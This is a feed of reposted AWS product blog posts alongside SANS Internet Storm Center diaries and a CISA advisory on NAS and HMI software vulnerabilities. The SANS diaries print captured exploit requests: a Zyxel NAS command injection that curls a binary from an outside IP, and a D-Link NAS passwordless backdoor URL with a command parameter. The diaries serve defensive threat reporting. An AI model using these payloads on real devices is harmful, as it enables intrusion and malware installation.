Stop the CNAME chain struggle: Simplified management with Route 53 Resolver DNS Firewall

This post was originally published on this site

Starting today, you can configure your DNS Firewall to automatically trust all domains in a resolution chain (such as aCNAME, DNAME, or Alias chain).

Let’s walk through this in nontechnical terms for those unfamiliar with DNS.

Why use DNS Firewall?
DNS Firewall provides protection for outbound DNS requests from your private network in the cloud (Amazon Virtual Private Cloud (Amazon VPC)). These requests route through Amazon Route 53 Resolver for domain name resolution. Firewall administrators can configure rules to filter and regulate the outbound DNS traffic.

DNS Firewall helps to protect against multiple security risks.

Let’s imagine a malicious actor managed to install and run some code on your Amazon Elastic Compute Cloud (Amazon EC2) instances or containers running inside one of your virtual private clouds (VPCs). The malicious code is likely to initiate outgoing network connections. It might do so to connect to a command server and receive commands to execute on your machine. Or it might initiate connections to a third-party service in a coordinated distributed denial of service (DDoS) attack. It might also try to exfiltrate data it managed to collect on your network.

Fortunately, your network and security groups are correctly configured. They block all outgoing traffic except the one to well-known API endpoints used by your app. So far so good—the malicious code cannot dial back home using regular TCP or UDP connections.

But what about DNS traffic? The malicious code may send DNS requests to an authoritative DNS server they control to either send control commands or encoded data, and it can receive data back in the response. I’ve illustrated the process in the following diagram.

DNS exfiltration illustrated

To prevent these scenarios, you can use a DNS Firewall to monitor and control the domains that your applications can query. You can deny access to the domains that you know to be bad and allow all other queries to pass through. Alternately, you can deny access to all domains except those you explicitly trust.

What is the challenge with CNAME, DNAME, and Alias records?
Imagine you configured your DNS Firewall to allow DNS queries only to specific well-known domains and blocked all others. Your application communicates with alexa.amazon.com; therefore, you created a rule allowing DNS traffic to resolve that hostname.

However, the DNS system has multiple types of records. The ones of interest in this article are

  • A records that map a DNS name to an IP address,
  • CNAME records that are synonyms for other DNS names,
  • DNAME records that provide redirection from a part of the DNS name tree to another part of the DNS name tree, and
  • Alias records that provide a Route 53 specific extension to DNS functionality. Alias records let you route traffic to selected AWS resources, such as Amazon CloudFront distributions and Amazon S3 buckets

When querying alexa.amazon.com, I see it’s actually a CNAME record that points to pitangui.amazon.com, which is another CNAME record that points to tp.5fd53c725-frontier.amazon.com, which, in turn, is a CNAME to d1wg1w6p5q8555.cloudfront.net. Only the last name (d1wg1w6p5q8555.cloudfront.net) has an A record associated with an IP address 3.162.42.28. The IP address is likely to be different for you. It points to the closest Amazon CloudFront edge location, likely the one from Paris (CDG52) for me.

A similar redirection mechanism happens when resolving DNAME or Alias records.

DNS resolution for alexa.amazon.com

To allow the complete resolution of such a CNAME chain, you could be tempted to configure your DNS Firewall rule to allow all names under amazon.com (*.amazon.com), but that would fail to resolve the last CNAME that goes to cloudfront.net.

Worst, the DNS CNAME chain is controlled by the service your application connects to. The chain might change at any time, forcing you to manually maintain the list of rules and authorized domains inside your DNS Firewall rules.

Introducing DNS Firewall redirection chain authorization
Based on this explanation, you’re now equipped to understand the new capability we launch today. We added a parameter to the UpdateFirewallRule API (also available on the AWS Command Line Interface (AWS CLI) and AWS Management Console) to configure the DNS Firewall so that it follows and automatically trusts all the domains in a CNAME, DNAME, or Alias chain.

This parameter allows firewall administrators to only allow the domain your applications query. The firewall will automatically trust all intermediate domains in the chain until it reaches the A record with the IP address.

Let’s see it in action
I start with a DNS Firewall already configured with a domain list, a rule group, and a rule that ALLOW queries for the domain alexa.amazon.com. The rule group is attached to a VPC where I have an EC2 instance started.

When I connect to that EC2 instance and issue a DNS query to resolve alexa.amazon.com, it only returns the first name in the domain chain (pitangui.amazon.com) and stops there. This is expected because pitangui.amazon.com is not authorized to be resolved.

DNS query for alexa.amazon.com is blocked at first CNAME

To solve this, I update the firewall rule to trust the entire redirection chain. I use the AWS CLI to call the update-firewall-rule API with a new parameter firewall-domain-redirection-action set to TRUST_REDIRECTION_DOMAIN.

AWS CLI to update the DNS firewall rule

The following diagram illustrates the setup at this stage.

DNS Firewall rule diagram

Back to the EC2 instance, I try the DNS query again. This time, it works. It resolves the entire redirection chain, down to the IP address ????.

DNS resolution for the full CNAME chain

Thanks to the trusted chain redirection, network administrators now have an easy way to implement a strategy to block all domains and authorize only known domains in their DNS Firewall without having to care about CNAME, DNAME, or Alias chains.

This capability is available at no additional cost in all AWS Regions. Try it out today!

— seb

Linux Trojan – Xorddos with Filename eyshcjdmzg, (Mon, Apr 29th)

This post was originally published on this site

I reviewed a filename I see regularly uploaded to my DShield sensor eyshcjdmzg that have been seeing since the 1 October 2023 which has multiple hashes and has been labeled as trojan.xorddos/ddos. These various files have only been uploaded to my DShield sensor by IP 218.92.0.60. Here is the timeline of the activity since 1 October 2023.

Add your Ruby gems to AWS CodeArtifact

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Ruby developers can now use AWS CodeArtifact to securely store and retrieve their gems. CodeArtifact integrates with standard developer tools like gem and bundler.

Applications often use numerous packages to speed up development by providing reusable code for common tasks like network access, cryptography, or data manipulation. Developers also embed SDKs–such as the AWS SDKs–to access remote services. These packages may come from within your organization or from third parties like open source projects. Managing packages and dependencies is integral to software development. Languages like Java, C#, JavaScript, Swift, and Python have tools for downloading and resolving dependencies, and Ruby developers typically use gem and bundler.

However, using third-party packages presents legal and security challenges. Organizations must ensure package licenses are compatible with their projects and don’t violate intellectual property. They must also verify that the included code is safe and doesn’t introduce vulnerabilities, a tactic known as a supply chain attack. To address these challenges, organizations typically use private package servers. Developers can only use packages vetted by security and legal teams made available through private repositories.

CodeArtifact is a managed service that allows the safe distribution of packages to internal developer teams without managing the underlying infrastructure. CodeArtifact now supports Ruby gems in addition to npm, PyPI, Maven, NuGet, SwiftPM, and generic formats.

You can publish and download Ruby gem dependencies from your CodeArtifact repository in the AWS Cloud, working with existing tools such as gem and bundler. After storing packages in CodeArtifact, you can reference them in your Gemfile. Your build system will then download approved packages from the CodeArtifact repository during the build process.

How to get started
Imagine I’m working on a package to be shared with other development teams in my organization.

In this demo, I show you how I prepare my environment, upload the package to the repository, and use this specific package build as a dependency for my project. I focus on the steps specific to Ruby packages. You can read the tutorial written by my colleague Steven to get started with CodeArtifact.

I use an AWS account that has a package repository (MyGemsRepo) and domain (stormacq-test) already configured.

CodeArtifact - Ruby repository

To let the Ruby tools acess my CodeArtifact repository, I start by collecting an authentication token from CodeArtifact.

export CODEARTIFACT_AUTH_TOKEN=`aws codeartifact get-authorization-token 
                                     --domain stormacq-test              
                                     --domain-owner 012345678912         
                                     --query authorizationToken          
                                     --output text`

export GEM_HOST_API_KEY="Bearer $CODEARTIFACT_AUTH_TOKEN"

Note that the authentication token expires after 12 hours. I must repeat this command after 12 hours to obtain a fresh token.

Then, I request the repository endpoint. I pass the domain name and domain owner (the AWS account ID). Notice the --format ruby option.

export RUBYGEMS_HOST=`aws codeartifact get-repository-endpoint  
                           --domain stormacq-test               
                           --domain-owner 012345678912          
                           --format ruby                        
                           --repository MyGemsRepo              
                           --query repositoryEndpoint           
                           --output text`

Now that I have the repository endpoint and an authentication token, gem will use these environment variable values to connect to my private package repository.

I create a very simple project, build it, and send it to the package repository.

CodeArtifact - building and pushing a custom package

$ gem build hola.gemspec 

Successfully built RubyGem
  Name: hola-codeartifact
  Version: 0.0.0
  File: hola-codeartifact-0.0.0.gem
  
$ gem push hola-codeartifact-0.0.0.gem 
Pushing gem to https://stormacq-test-486652066693.d.codeartifact.us-west-2.amazonaws.com/ruby/MyGemsRepo...

I verify in the console that the package is available.

CodeArtifact - Hola package is present

Now that the package is available, I can use it in my projects as usual. This involves configuring the local ~/.gemrc file on my machine. I follow the instructions provided by the console, and I make sure I replace ${CODEARTIFACT_AUTH_TOKEN} with its actual value.

CodeArtifact - console instructions to connect to the repo

Once ~/.gemrc is correctly configured, I can install gems as usual. They will be downloaded from my private gem repository.

$ gem install hola-codeartifact

Fetching hola-codeartifact-0.0.0.gem
Successfully installed hola-codeartifact-0.0.0
Parsing documentation for hola-codeartifact-0.0.0
Installing ri documentation for hola-codeartifact-0.0.0
Done installing documentation for hola-codeartifact after 0 seconds
1 gem installed

Install from upstream
I can also associate my repository with an upstream source. It will automatically fetch gems from upstream when I request one.

To associate the repository with rubygems.org, I use the console, or I type

aws codeartifact  associate-external-connection 
                   --domain stormacq-test       
                   --repository MyGemsRepo      
                   --external-connection public:ruby-gems-org

{
    "repository": {
        "name": "MyGemsRepo",
        "administratorAccount": "012345678912",
        "domainName": "stormacq-test",
        "domainOwner": "012345678912",
        "arn": "arn:aws:codeartifact:us-west-2:012345678912:repository/stormacq-test/MyGemsRepo",
        "upstreams": [],
        "externalConnections": [
            {
                "externalConnectionName": "public:ruby-gems-org",
                "packageFormat": "ruby",
                "status": "AVAILABLE"
            }
        ],
        "createdTime": "2024-04-12T12:58:44.101000+02:00"
    }
}

Once associated, I can pull any gems through CodeArtifact. It will automatically fetch packages from upstream when not locally available.

$ gem install rake 

Fetching rake-13.2.1.gem
Successfully installed rake-13.2.1
Parsing documentation for rake-13.2.1
Installing ri documentation for rake-13.2.1
Done installing documentation for rake after 0 seconds
1 gem installed

I use the console to verify the rake package is now available in my repo.

Things to know
There are some things to keep in mind before uploading your first Ruby packages.

Pricing and availability
CodeArtifact costs for Ruby packages are the same as for the other package formats already supported. CodeArtifact billing depends on three metrics: the storage (measured in GB per month), the number of requests, and the data transfer out to the internet or to other AWS Regions. Data transfer to AWS services in the same Region is not charged, meaning you can run your continuous integration and delivery (CI/CD) jobs on Amazon Elastic Compute Cloud (Amazon EC2) or AWS CodeBuild, for example, without incurring a charge for the CodeArtifact data transfer. As usual, the pricing page has the details.

CodeArtifact for Ruby packages is available in all 13 Regions where CodeArtifact is available.

Now, go build your Ruby applications and upload your private packages to CodeArtifact!

— seb

Another Day, Another NAS: Attacks against Zyxel NAS326 devices CVE-2023-4473, CVE-2023-4474, (Tue, Apr 30th)

This post was originally published on this site

Yesterday, I talked about attacks against a relatively recent D-Link NAS vulnerability. Today, scanning my honeypot logs, I found an odd URL that I didn't recognize. The vulnerability is a bit older but turns out to be targeting yet another NAS.

The sample request:

POST /cmd,/ck6fup6/portal_main/pkg_init_cmd/register_main/setCookie HTTP/1.0
User-Agent: Baidu
Accept: */*
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Host: [redacted]

pkgname=myZyXELcloud-Agent&cmd=%3bcurl%2089.190.156.248/amanas2&content=1

The exploit is simple: attempt to download and execute the "amanas2" binary and execute it. Sadly, I was not able to retrieve the file. Virustotal does show the URL as malicious for a couple of anti-malware tools [1]

Oddly, I am seeing this pattern only the last couple days, even though the vulnerability and the PoC were disclosed last year [2]:

Date Count
April 27th 56
April 28th 1530
April 29th 899
April 30th 749

Based on our logs, only one IP address exploits the vulnerability: %%ip: 89.190.156.248%%. The IP started scanning a couple of days earlier for index pages and "jeecgFormDemoController.do, likely attempting to exploit a deserialization vulnerability in jeecgFormDemoController 

[1] https://www.virustotal.com/gui/url/ed0f3f39dce2cecca3cdc9e15099f0aa6cad3ea18f879beafe972ecd062a8229?nocache=1
[2] https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-bypass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Amazon Q Business, now generally available, helps boost workforce productivity with generative AI

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At AWS re:Invent 2023, we previewed Amazon Q Business, a generative artificial intelligence (generative AI)–powered assistant that can answer questions, provide summaries, generate content, and securely complete tasks based on data and information in your enterprise systems.

With Amazon Q Business, you can deploy a secure, private, generative AI assistant that empowers your organization’s users to be more creative, data-driven, efficient, prepared, and productive. During the preview, we heard lots of customer feedback and used that feedback to prioritize our enhancements to the service.

Today, we are announcing the general availability of Amazon Q Business with many new features, including custom plugins, and a preview of Amazon Q Apps, generative AI–powered customized and sharable applications using natural language in a single step for your organization.

In this blog post, I will briefly introduce the key features of Amazon Q Business with the new features now available and take a look at the features of Amazon Q Apps. Let’s get started!

Introducing Amazon Q Business
Amazon Q Business connects seamlessly to over 40 popular enterprise data sources and stores document and permission information, including Amazon Simple Storage Service (Amazon S3), Microsoft 365, and Salesforce. It ensures that you access content securely with existing credentials using single sign-on, according to your permissions, and also includes enterprise-level access controls.

Amazon Q Business makes it easy for users to get answers to questions like company policies, products, business results, or code, using its web-based chat assistant. You can point Amazon Q Business at your enterprise data repositories, and it’ll search across all data, summarize logically, analyze trends, and engage in dialog with users.

With Amazon Q Business, you can build secure and private generative AI assistants with enterprise-grade access controls at scale. You can also use administrative guardrails, document enrichment, and relevance tuning to customize and control responses that are consistent with your company’s guidelines.

Here are the key features of Amazon Q Business with new features now available:

End-user web experience
With the built-in web experience, you can ask a question, receive a response, and then ask follow-up questions and add new information with in-text source citations while keeping the context from the previous answer. You can only get a response from data sources that you have access to.

With general availability, we’re introducing a new content creation mode in the web experience. In this mode, Amazon Q Business does not use or access the enterprise content but instead uses generative AI models built into Amazon Q Business for creative use cases such as summarization of responses and crafting personalized emails. To use the content creation mode, you can turn off Respond from approved sources in the conversation settings.

To learn more, visit Using an Amazon Q Business web experience and Customizing an Amazon Q Business web experience in the AWS documentation.

Pre-built data connectors and plugins
You can connect, index, and sync your enterprise data using over 40 pre-built data connectors or an Amazon Kendra retriever, as well as web crawling or uploading your documents directly.

Amazon Q Business ingests content using a built-in semantic document retriever. It also retrieves and respects permission information such as access control lists (ACLs) to allow it to manage access to the data after retrieval. When the data is ingested, your data is secured with the Service-managed key of AWS Key Management Service (AWS KMS).

You can configure plugins to perform actions in enterprise systems, including Jira, Salesforce, ServiceNow, and Zendesk. Users can create a Jira issue or a Salesforce case while chatting in the chat assistant. You can also deploy a Microsoft Teams gateway or a Slack gateway to use an Amazon Q Business assistant in your teams or channels.

With general availability, you can build custom plugins to connect to any third-party application through APIs so that users can use natural language prompts to perform actions such as submitting time-off requests or sending meeting invites directly through Amazon Q Business assistant. Users can also search real-time data, such as time-off balances, scheduled meetings, and more.

When you choose Custom plugin, you can define an OpenAPI schema to connect your third-party application. You can upload the OpenAPI schema to Amazon S3 or copy it to the Amazon Q Business console in-line schema editor compatible with the Swagger OpenAPI specification.

To learn more, visit Data source connectors and Configure plugins in the AWS documentation.

Admin control and guardrails
You can configure global controls to give users the option to either generate large language model (LLM)-only responses or generate responses from connected data sources. You can specify whether all chat responses will be generated using only enterprise data or whether your application can also use its underlying LLM to generate responses when it can’t find answers in your enterprise data. You can also block specific words.

With topic-level controls, you can specify restricted topics and configure behavior rules in response to the topics, such as answering using enterprise data or blocking completely.

To learn more, visit Admin control and guardrails in the AWS documentation.

You can alter document metadata or attributes and content during the document ingestion process by configuring basic logic to specify a metadata field name, select a condition, and enter or select a value and target actions, such as update or delete. You can also use AWS Lambda functions to manipulate document fields and content, such as using optical character recognition (OCR) to extract text from images.

To learn more, visit Document attributes and types in Amazon Q Business and Document enrichment in Amazon Q Business in the AWS documentation.

Enhanced enterprise-grade security and management
Starting April 30, you will need to use AWS IAM Identity Center for user identity management of all new applications rather than using the legacy identity management. You can securely connect your workforce to Amazon Q Business applications either in the web experience or your own interface.

You can also centrally manage workforce access using IAM Identity Center alongside your existing IAM roles and policies. As the number of your accounts scales, IAM Identity Center gives you the option to use it as a single place to manage user access to all your applications. To learn more, visit Setting up Amazon Q Business with IAM Identity Center in the AWS documentation.

At general availability, Amazon Q Business is now integrated with various AWS services to securely connect and store the data and easily deploy and track access logs.

You can use AWS PrivateLink to access Amazon Q Business securely in your Amazon Virtual Private Cloud (Amazon VPC) environment using a VPC endpoint. You can use the Amazon Q Business template for AWS CloudFormation to easily automate the creation and provisioning of infrastructure resources. You can also use AWS CloudTrail to record actions taken by a user, role, or AWS service in Amazon Q Business.

Also, we support Federal Information Processing Standards (FIPS) endpoints, based on the United States and Canadian government standards and security requirements for cryptographic modules that protect sensitive information.

To learn more, visit Security in Amazon Q Business and Monitoring Amazon Q Business in the AWS documentation.

Build and share apps with new Amazon Q Apps (preview)
Today we are announcing the preview of Amazon Q Apps, a new capability within Amazon Q Business for your organization’s users to easily and quickly create generative AI-powered apps based on company data, without requiring any prior coding experience.

With Amazon Q Apps, users simply describe the app they want, in natural language, or they can take an existing conversation where Amazon Q Business helped them solve a problem. With a few clicks, Amazon Q Business will instantly generate an app that accomplishes their desired task that can be easily shared across their organization.

If you are familiar with PartyRock, you can easily use this code-free builder with the added benefit of connecting it to your enterprise data already with Amazon Q Business.

To create a new Amazon Q App, choose Apps in your web experience and enter a simple text expression for a task in the input box. You can try out samples, such as a content creator, interview question generator, meeting note summarizer, and grammar checker.

I will make a document assistant to review and correct a document using the following prompt:

You are a professional editor tasked with reviewing and correcting a document for grammatical errors, spelling mistakes, and inconsistencies in style and tone. Given a file, your goal is to recommend changes to ensure that the document adheres to the highest standards of writing while preserving the author’s original intent and meaning. You should provide a numbered list for all suggested revisions and the supporting reason.

When you choose the Generate button, a document editing assistant app will be automatically generated with two cards—one to upload a document file as an input and another text output card that gives edit suggestions.

When you choose the Add card button, you can add more cards, such as a user input, text output, file upload, or pre-configured plugin by your administrator. If you want to create a Jira ticket to request publishing a post in the corporate blog channel as an author, you can add a Jira Plugin with the result of edited suggestions from the uploaded file.

Once you are ready to share the app, choose the Publish button. You can securely share this app to your organization’s catalog for others to use, enhancing productivity. Your colleagues can choose shared apps, modify them, and publish their own versions to the organizational catalog instead of starting from scratch.

Choose Library to see all of the published Amazon Q Apps. You can search the catalog by labels and open your favorite apps.

Amazon Q Apps inherit robust security and governance controls from Amazon Q Business, including user authentication and access controls, which empower organizations to safely share apps across functions that warrant governed collaboration and innovation.

In the administrator console, you can see your Amazon Q Apps and control or remove them from the library.

To learn more, visit Amazon Q Apps in the AWS documentation.

Now available
Amazon Q Business is generally available today in the US East (N. Virginia) and US West (Oregon) Regions. We are launching two pricing subscription options.

The Amazon Q Business Lite ($3/user/month) subscription provides users access to the basic functionality of Amazon Q Business.

The Amazon Business Pro ($20/user/month) subscription gets users access to all features of Amazon Q Business, as well as Amazon Q Apps (preview) and Amazon Q in QuickSight (Reader Pro), which enhances business analyst and business user productivity using generative business intelligence capabilities.

You can use the free trial (50 users for 60 days) to experiment with Amazon Q Business. For more information about pricing options, visit Amazon Q Business Plan page.

To learn more about Amazon Q Business, you can study Amazon Q Business Getting Started, a free, self-paced digital course on AWS Skill Builder and Amazon Q Developer Center to get more sample codes.

Give it a try in the Amazon Q Business console today! For more information, visit the Amazon Q Business product page and the User Guide in the AWS documentation. Provide feedback to AWS re:Post for Amazon Q or through your usual AWS support contacts.

Channy

Delta Electronics CNCSoft-G2 DOPSoft DPAX

This post was originally published on this site

View CSAF

1. EXECUTIVE SUMMARY

  • CVSS v4 8.5
  • ATTENTION: Low attack complexity
  • Vendor: Delta Electronics
  • Equipment: CNCSoft-G2 DOPSoft
  • Vulnerability: Stack-based Buffer Overflow

2. RISK EVALUATION

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code.

3. TECHNICAL DETAILS

3.1 AFFECTED PRODUCTS

The following versions of Delta Electronics CNCSoft-G2, a Human-Machine Interface (HMI) software, are affected:

  • CNCSoft-G2: Versions 2.0.0.5 (with DOPSoft v5.0.0.93) and prior

3.2 Vulnerability Overview

3.2.1 STACK-BASED BUFFER OVERFLOW CWE-121

Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.

CVE-2024-4192 has been assigned to this vulnerability. A CVSS v3.1 base score of 7.8 has been calculated; the CVSS vector string is (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ).

A CVSS v4 score has also been calculated for CVE-2024-4192. A base score of 8.5 has been calculated; the CVSS vector string is (CVSS4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

3.3 BACKGROUND

  • CRITICAL INFRASTRUCTURE SECTORS: Energy, Critical Manufacturing
  • COUNTRIES/AREAS DEPLOYED: Worldwide
  • COMPANY HEADQUARTERS LOCATION: Taiwan

3.4 RESEARCHER

Natnael Samson working with Trend Micro Zero Day Initiative reported this vulnerability to CISA.

4. MITIGATIONS

Delta Electronics recommends users update to CNCSoft-G2 v2.1.0.4 or later.

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

  • Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.
  • Locate control system networks and remote devices behind firewalls and isolating them from business networks.
  • When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B–Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

5. UPDATE HISTORY

  • April 30, 2024: Initial Publication

AWS Weekly Roundup: Amazon Bedrock, AWS CodeBuild, Amazon CodeCatalyst, and more (April 29, 2024)

This post was originally published on this site

This was a busy week for Amazon Bedrock with many new features! Using GitHub Actions with AWS CodeBuild is much easier. Also, Amazon Q in Amazon CodeCatalyst can now manage more complex issues.

I was amazed to meet so many new and old friends at the AWS Summit London. To give you a quick glimpse, here’s AWS Hero Yan Cui starting his presentation at the AWS Community stage.

AWS Community at the AWS Summit London 2024

Last week’s launches
With so many interesting new features, I start with generative artificial intelligence (generative AI) and then move to the other topics. Here’s what got my attention:

Amazon Bedrock – For supported architectures such as Llama, Mistral, or Flan T5, you can now import custom models and access them on demand. Model evaluation is now generally available to help you evaluate, compare, and select the best foundation models (FMs) for your specific use case. You can now access Meta’s Llama 3 models.

Agents for Amazon Bedrock – A simplified agent creation and return of control, so that you can define an action schema and get the control back to perform those action without needing to create a specific AWS Lambda function. Agents also added support for Anthropic Claude 3 Haiku and Sonnet to help build faster and more intelligent agents.

Knowledge Bases for Amazon Bedrock – You can now ingest data from up to five data sources and provide more complete answers. In the console, you can now chat with one of your documents without needing to set up a vector database (read more in this Machine Learning blog post).

Guardrails for Amazon Bedrock – The capability to implement safeguards based on your use cases and responsible AI policies is now available with new safety filters and privacy controls.

Amazon Titan – The new watermark detection feature is now generally available in Amazon Bedrock. In this way, you can identify images generated by Amazon Titan Image Generator using an invisible watermark present in all images generated by Amazon Titan.

Amazon CodeCatalyst – Amazon Q can now split complex issues into separate, simpler tasks that can then be assigned to a user or back to Amazon Q. CodeCatalyst now also supports approval gates within a workflow. Approval gates pause a workflow that is building, testing, and deploying code so that a user can validate whether it should be allowed to proceed.

Amazon EC2 – You can now remove an automatically assigned public IPv4 address from an EC2 instance. If you no longer need the automatically assigned public IPv4 (for example, because you are migrating to using a private IPv4 address for SSH with EC2 instance connect), you can use this option to quickly remove the automatically assigned public IPv4 address and reduce your public IPv4 costs.

Network Load Balancer – Now supports Resource Map in AWS Management Console, a tool that displays all your NLB resources and their relationships in a visual format on a single page. Note that Application Load Balancer already supports Resource Map in the console.

AWS CodeBuild – Now supports managed GitHub Action self-hosted runners. You can configure CodeBuild projects to receive GitHub Actions workflow job events and run them on CodeBuild ephemeral hosts.

Amazon Route 53 – You can now define a standard DNS configuration in the form of a Profile, apply this configuration to multiple VPCs, and share it across AWS accounts.

AWS Direct Connect – Hosted connections now support capacities up to 25 Gbps. Before, the maximum was 10 Gbps. Higher bandwidths simplify deployments of applications such as advanced driver assistance systems (ADAS), media and entertainment (M&E), artificial intelligence (AI), and machine learning (ML).

NoSQL Workbench for Amazon DynamoDB – A revamped operation builder user interface to help you better navigate, run operations, and browse your DynamoDB tables.

Amazon GameLift – Now supports in preview end-to-end development of containerized workloads, including deployment and scaling on premises, in the cloud, or for hybrid configurations. You can use containers for building, deploying, and running game server packages.

For a full list of AWS announcements, be sure to keep an eye on the What’s New at AWS page.

Other AWS news
Here are some additional projects, blog posts, and news items that you might find interesting:

GQL, the new ISO standard for graphs, has arrived – GQL, which stands for Graph Query Language, is the first new ISO database language since the introduction of SQL in 1987.

Authorize API Gateway APIs using Amazon Verified Permissions and Amazon Cognito – Externalizing authorization logic for application APIs can yield multiple benefits. Here’s an example of how to use Cedar policies to secure a REST API.

Build and deploy a 1 TB/s file system in under an hour – Very nice walkthrough for something that used to be not so easy to do in the recent past.

Let’s Architect! Discovering Generative AI on AWS – A new episode in this amazing series of posts that provides a broad introduction to the domain and then shares a mix of videos, blog posts, and hands-on workshops.

Building scalable, secure, and reliable RAG applications using Knowledge Bases for Amazon Bedrock – This post explores the new features (including AWS CloudFormation support) and how they align with the AWS Well-Architected Framework.

Using the unified CloudWatch Agent to send traces to AWS X-Ray – With added support for the collection of AWS X-Ray and OpenTelemetry traces, you can now provision a single agent to capture metrics, logs, and traces.

The executive’s guide to generative AI for sustainability – A guide for implementing a generative AI roadmap within sustainability strategies.

AWS open source news and updates – My colleague Ricardo writes about open source projects, tools, and events from the AWS Community. Check out Ricardo’s page for the latest updates.

Upcoming AWS events
Check your calendars and sign up for upcoming AWS events:

AWS Summits – Join free online and in-person events that bring the cloud computing community together to connect, collaborate, and learn about AWS. Register in your nearest city: Singapore (May 7), Seoul (May 16–17), Hong Kong (May 22), Milan (May 23), Stockholm (June 4), and Madrid (June 5).

AWS re:Inforce – Explore 2.5 days of immersive cloud security learning in the age of generative AI at AWS re:Inforce, June 10–12 in Pennsylvania.

AWS Community Days – Join community-led conferences that feature technical discussions, workshops, and hands-on labs led by expert AWS users and industry leaders from around the world: Turkey (May 18), Midwest | Columbus (June 13), Sri Lanka (June 27), Cameroon (July 13), Nigeria (August 24), and New York (August 28).

GOTO EDA Day LondonJoin us in London on May 14 to learn about event-driven architectures (EDA) for building highly scalable, fault tolerant, and extensible applications. This conference is organized by GOTO, AWS, and partners.

Browse all upcoming AWS led in-person and virtual events and developer-focused events.

That’s all for this week. Check back next Monday for another Weekly Roundup!

Danilo

This post is part of our Weekly Roundup series. Check back each week for a quick roundup of interesting news and announcements from AWS!

D-Link NAS Device Backdoor Abused, (Mon, Apr 29th)

This post was originally published on this site

End of March, NetworkSecurityFish disclosed a vulnerability in various D-Link NAS devices [1]. The vulnerability allows access to the device using the user "messagebus" without credentials. The sample URL used by the PoC was:

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

In addition to not requiring a password, the URL also accepts arbitrary system commands, which must be base64 encoded. Initial exploit attempts were detected as soon as April 8th. The vulnerability is particularly dangerous as some affected devices are no longer supported by DLink, and no patch is expected to be released. DLink instead advised to replace affected devices [2]. I have not been able to find an associated CVE number.

Graph of hits for URLs that include "user=messagebus" with two distinct peaks. One early in april and one late in april

After the initial exploit attempts at the beginning of the month, we now see a new distinct set of exploit attempts, some of which use different URLs to attack vulnerable systems. It appears that nas_sharing.cgi is not the only endpoint that can be used to take advantage of the passwordless "messagebus" account.

So far, we do see these three different URLs

/.most/orospucoc.cgi
/cgi-bin/nas_sharing.cgi
/cgi-bin/orospucoc.cgi

It is not clear if "orospucoc.cgi" is a distinct different vulnerability. But it appears more like another endpoint allowing for command execution, just like the original "nas_sharing.cgi" endpoint. I found no documentation mentioning the "orospucoc.cgi" endpoint. If anybody has an affected D-Link NAS device, let me know if this endpoint exists. In particular, "/.most/orospucoc.cgi" is odd. This URL starts showing up in our logs on April 17th. The term "orospucoc" in Turkish translates to the English "bitch", which could indicate that this is not an actual vulnerable URL, but maybe a backdoor left behind by earlier attacks. The use of the directory ".most" and the payload "echo most" may point to a backdoor rather than a valid binary shipped with the device's firmware.

Any feedback from DLink NAS users is appreciated.

The most common command executed is "uname -m" which is likely used to identify vulnerable devices. Other commands include:

echo    @hackerlor0510
echo    most

 

[1] https://github.com/netsecfish/dlink
[2] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Does it matter if iptables isn't running on my honeypot?, (Thu, Apr 25th)

This post was originally published on this site

I've been working on comparing data from different DShield [1] honeypots to understand differences when the honeypots reside on different networks. One point of comparison is malware submitted to the honeypots. During a review of the summarized data, I noticed that one honeypot was an outlier in terms of malware captured.